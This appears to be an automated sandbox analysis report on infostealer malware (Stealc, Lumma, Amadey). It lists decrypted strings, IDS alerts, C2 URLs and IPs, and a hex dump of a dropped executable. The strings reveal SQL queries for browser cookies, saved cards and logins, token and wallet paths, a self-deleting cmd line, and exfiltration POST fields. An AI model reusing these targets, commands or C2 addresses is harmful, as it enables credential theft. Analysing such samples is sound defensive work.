Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Network
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: cookies
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: .txt
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: TRUE
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: FALSE
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: autofill
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: history
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: cc
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: name:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: month:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: year:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: card:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Cookies
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Login Data
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Web Data
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: History
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: logins.json
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: formSubmitURL
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: usernameField
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: encryptedUsername
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: encryptedPassword
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: guid
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: cookies.sqlite
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: formhistory.sqlite
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: places.sqlite
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: plugins
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Local Extension Settings
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Sync Extension Settings
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: IndexedDB
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Opera Stable
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Opera GX Stable
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: CURRENT
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: chrome-extension_
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Local State
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: profiles.ini
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: chrome
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: opera
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: firefox
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: wallets
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: ProductName
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: x32
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: x64
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: DisplayName
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: DisplayVersion
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Network Info:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - IP: IP?
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - Country: ISO?
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: System Summary:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - HWID:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - OS:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - Architecture:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - UserName:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - Computer Name:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - Local Time:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - UTC:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - Language:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - Keyboards:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - Laptop:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - Running Path:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - CPU:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - Threads:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - Cores:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - RAM:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - Display Resolution:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: - GPU:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: User Agents:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Installed Apps:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: All Users:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Current User:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Process List:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: system_info.txt
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: freebl3.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: mozglue.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: msvcp140.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: nss3.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: softokn3.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: vcruntime140.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: \Temp\
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: .exe
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: runas
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: open
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: /c start
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: %DESKTOP%
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: %APPDATA%
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: %USERPROFILE%
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: %DOCUMENTS%
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: %RECENT%
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: *.lnk
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: files
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: \discord\
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: \Telegram Desktop\
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: key_datas
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: map*
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Telegram
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Tox
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: *.tox
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: *.ini
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Password
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: 00000001
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: 00000002
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: 00000003
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: 00000004
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Pidgin
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: \.purple\
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: accounts.xml
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: token:
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Software\Valve\Steam
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: SteamPath
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: \config\
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: ssfn*
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: config.vdf
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: DialogConfig.vdf
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: libraryfolders.vdf
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: loginusers.vdf
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: \Steam\
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: sqlite3.dll
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: done
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: soft
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: https
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: POST
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: HTTP/1.1
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: hwid
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: build
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: token
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: file_name
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: file
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: message
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack	String decryptor: screenshot.jpg

Source: 8WRONDszv4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49990 version: TLS 1.2

Source:	Binary string: app_mobySetup.pdb source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr
Source:	Binary string: PE.pdb source: 2d537c36c0.exe, 0000000A.00000002.3268190643.00000000056D0000.00000004.08000000.00040000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\BuildAgent\work\6fe1ab573d75f9ba\src\DotNetOpenAuth.OpenId\obj\v4.0\Release\DotNetOpenAuth.OpenId.pdbd- source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr
Source:	Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\xevoEHqwR.pdb source: 2d537c36c0.exe, 0000000A.00000002.3268533384.0000000005950000.00000004.08000000.00040000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000002.3266454164.000000000444A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\BuildAgent\work\6fe1ab573d75f9ba\src\DotNetOpenAuth.OpenId\obj\v4.0\Release\DotNetOpenAuth.OpenId.pdb source: 2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49783 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058374 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat) : 192.168.2.6:56778 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.6:55454 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.6:56360 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058370 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat) : 192.168.2.6:60326 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.6:57763 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058376 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat) : 192.168.2.6:58466 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058362 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat) : 192.168.2.6:61799 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49965 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49944
Source: Network traffic	Suricata IDS: 2058358 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat) : 192.168.2.6:55049 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49987 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49937 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49709 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49709 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49711 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49707 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49707 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49746 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49983 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49983 -> 104.21.11.101:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Yara detected Generic Downloader

Source: Yara match	File source: 10.2.2d537c36c0.exe.42339b8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.2d537c36c0.exe.426b8f0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.2d537c36c0.exe.c20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe, type: DROPPED

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 07:50:44 GMTContent-Type: application/octet-streamContent-Length: 5242880Last-Modified: Fri, 27 Dec 2024 07:41:34 GMTConnection: keep-aliveETag: "676e5a2e-500000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 50 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 50 00 00 04 00 00 74 b3 50 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 90 24 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 